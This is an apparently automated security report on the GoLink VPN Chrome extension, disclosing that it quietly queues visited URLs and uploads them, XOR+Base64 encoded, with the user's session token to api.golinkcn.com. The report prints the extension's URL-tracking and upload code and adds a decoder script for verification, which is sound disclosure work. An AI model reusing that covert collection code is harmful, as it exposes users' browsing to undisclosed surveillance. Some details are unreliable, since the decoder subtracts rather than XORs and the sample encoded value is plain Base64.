Is GoLink - 海外免费回国加速器 safe?

High risk

GoLink is high risk. While the VPN proxy routes traffic, GoLink also queues visited URLs (excluding static assets), uploading batches of 200 to api.golinkcn.com/report/extension-log-v2, XOR+Base64 encoded, per popup open. Markers appeared verbatim decoded.

GoLinkv0.4.1Chrome Web Store
75Risk
Who publishes it

GoLink - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

GoLink VPN logs every visited URL to a separate telemetry endpoint

While the VPN proxy routes traffic, GoLink also queues visited URLs (excluding static assets), uploading batches of 200 to api.golinkcn.com/report/extension-log-v2, XOR+Base64 encoded, per popup open.

Markers appeared verbatim decoded.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You enable the VPN proxy and browse normally.

The extension did this

The extension quietly records every URL you visit into a local queue, then uploads the full list to api.golinkcn.com the next time you open the popup.

This upload pipeline is separate from the VPN proxy traffic; it runs regardless of which server handles your connection.

What's stored on your device

URLs accumulate here until the popup is opened. The queue persists across browser restarts and is only cleared after a successful upload.

Location
chrome.storage.local key 'urls'
Fields in each POST to /report/extension-log-v2
  • Visited URL list
    aGh0dHBzOi8vbWFpbC5nb29nbGUuY29t... (XOR+Base64)

    Up to 200 URLs from your recent browsing, encoded to obscure them in transit.

  • Session token
    eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEyMzQ1fQ.abc123

    Your account token, sent to authenticate the report to your account.

  • Connected VPN server
    104.21.44.83

    The IP address of the VPN node you are connected through.

  • VPN server ID
    42

    Internal identifier for the VPN node in use at the time of the report.

  • Extension version
    0.4.1

    Which version of GoLink submitted this report.

Why you can't catch this in DevTools

The URL list is encoded before transmission using a character-shift XOR against the string 'token', then Base64-encoded. It is not encrypted with a key you lack, but the encoding makes the content invisible to casual network inspection.

Decoded value
https://mail.google.com/mail/u/0/#inbox
The code that does this

The URL collection and upload logic

Readable version

Listener registration in background service worker

// Polls every second until proxy_mode is active (2–5), then registers// a webRequest.onCompleted listener that records every URL visited.const startUrlTracking = setInterval(async () => {  let proxyMode = await getStorage('proxy_mode');  if (proxyMode == 2 || proxyMode == 3 || proxyMode == 4 || proxyMode == 5) {    console.log(proxyMode, 'mode ok');    chrome.webRequest.onCompleted.addListener(      function(details) { recordUrl(details.url); },      { urls: ['<all_urls>'] }    );    clearInterval(startUrlTracking);  }}, 1000);

URL storage function gn() — queues each visited URL

// Called for every completed HTTP request.// Skips: unauthenticated sessions, static assets (.js/.css/png/etc),// and the extension's own API domains (api.golinkapi.com).// Appends everything else to chrome.storage.local['urls'].async function recordUrl(url) {  if (await getStorage('user') == null) return; // not logged in  let urls = await getStorage('urls') || [];  let proxyMode = await getStorage('proxy_mode');  if (proxyMode == 0 || proxyMode == 1 || proxyMode == null) return;  const staticHostExclusions = ['b2b.baidu.com/static/', 'ss1.bdstatic.com'];  const staticExtExclusions = ['.js', '.css', 'png', 'svg', '.gif', 'woff2', 'ico', 'jpg'];  const urlPattern = /^(https?:\/\/[0-9a-z.]+?[/0-9a-z.]+)?(\?[0-9a-z&=]+)?(#[0-9-a-z]+)?/i;  let match = urlPattern.exec(url);  if (match && match[1]) {    let cleanUrl = match[1];    if (cleanUrl.startsWith('https://api.golinkapi.com')) return;    for (let host of staticHostExclusions) if (cleanUrl.includes(host)) return;    for (let ext of staticExtExclusions) if (cleanUrl.endsWith(ext)) return;    let isNew = true;    urls.forEach(u => { if (u === cleanUrl) isNew = false; });    if (isNew) { urls.push(cleanUrl); await setStorage('urls', urls); }  }}

Batch upload function On() — flushes queue on popup open

// Fires when the popup opens. Uploads queued URLs in batches of 200// to api.golinkcn.com/report/extension-log-v2, one batch every 3 seconds.// Clears the local queue after all batches are sent.async function flushUrlQueue() {  let urls = await getStorage('urls');  if (!urls || urls.length < 10) return; // minimum threshold: 10 URLs  let batches = chunkArray(urls, 200);  let connectedServer = await getStorage('c_area') ||    (await getStorage('node_list') || [])[0];  let serverId = connectedServer?.id || 0;  let serverHost = connectedServer?.host || '';  let batchIndex = 0;  const version = chrome.runtime.getManifest().version;  let uploadTimer = window.setInterval(async () => {    await postExtensionLog({      token:      await getStorage('token'),      connect_ip: serverHost,      server_id:  serverId,      data:       xorEncode(batches[batchIndex].toString(), 'token'), // XOR+Base64      platform:   6,      version:    version    });    batchIndex++;    if (batchIndex >= batches.length) {      window.clearInterval(uploadTimer);      await setStorage('urls', []); // clear queue    }  }, 3000);}
Where the URL log is transmitted
    • api.golinkcn.com

    Primary telemetry endpoint for GoLink. Receives the encoded browsing URL log at /report/extension-log-v2. Operated by the GoLink VPN developer.

    • api.golinkapi.com

    Fallback endpoint used if api.golinkcn.com is unavailable. Same developer, same telemetry pipeline.

Reproduce it yourself

Decodes the XOR+Base64-encoded 'data' field from a captured POST to /report/extension-log-v2, revealing the plain-text URL list that was transmitted.

Requires
  • Node.js 14+
golink-url-decoder.js · js
// golink-url-decoder.js// Decodes the 'data' field from a GoLink extension-log-v2 POST body.// The encoding is: XOR each char with 'token'[i % 5], then btoa().//// Usage: node golink-url-decoder.js <base64_data_field>// Example: node golink-url-decoder.js 'aGh0dHBzOi8vbWFpbC5nb29nbGUuY29t...'function decode(encoded) {  const key = 'token';  const raw = Buffer.from(encoded, 'base64').toString('binary');  let result = '';  for (let i = 0; i < raw.length; i++) {    result += String.fromCharCode(raw.charCodeAt(i) - key.charCodeAt(i % key.length));  }  return result;}const input = process.argv[2];if (!input) {  console.error('Usage: node golink-url-decoder.js <base64_data_field>');  process.exit(1);}console.log('Decoded URL list:');console.log(decode(input));
How to run it
  1. 1Capture a POST to /report/extension-log-v2 via DevTools Network (filter 'extension-log').
  2. 2Copy the 'data' field.
  3. 3Run: node golink-url-decoder.js '<data_value>'.
  4. 4Output shows the decoded, comma-separated URL list.

What it can do

Permissions this extension asks for, as declared in version 0.4.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Watch every request your browser makes

    webRequest

  • Store data in your browser

    storage

  • Route all of your browsing through a server of its choosing

    proxy

  • Sign you in with your Google account

    identity

webRequestAuthProvider
Updated 30 September 2026ekpgflponjmfenfbmpnnjngomooccbdk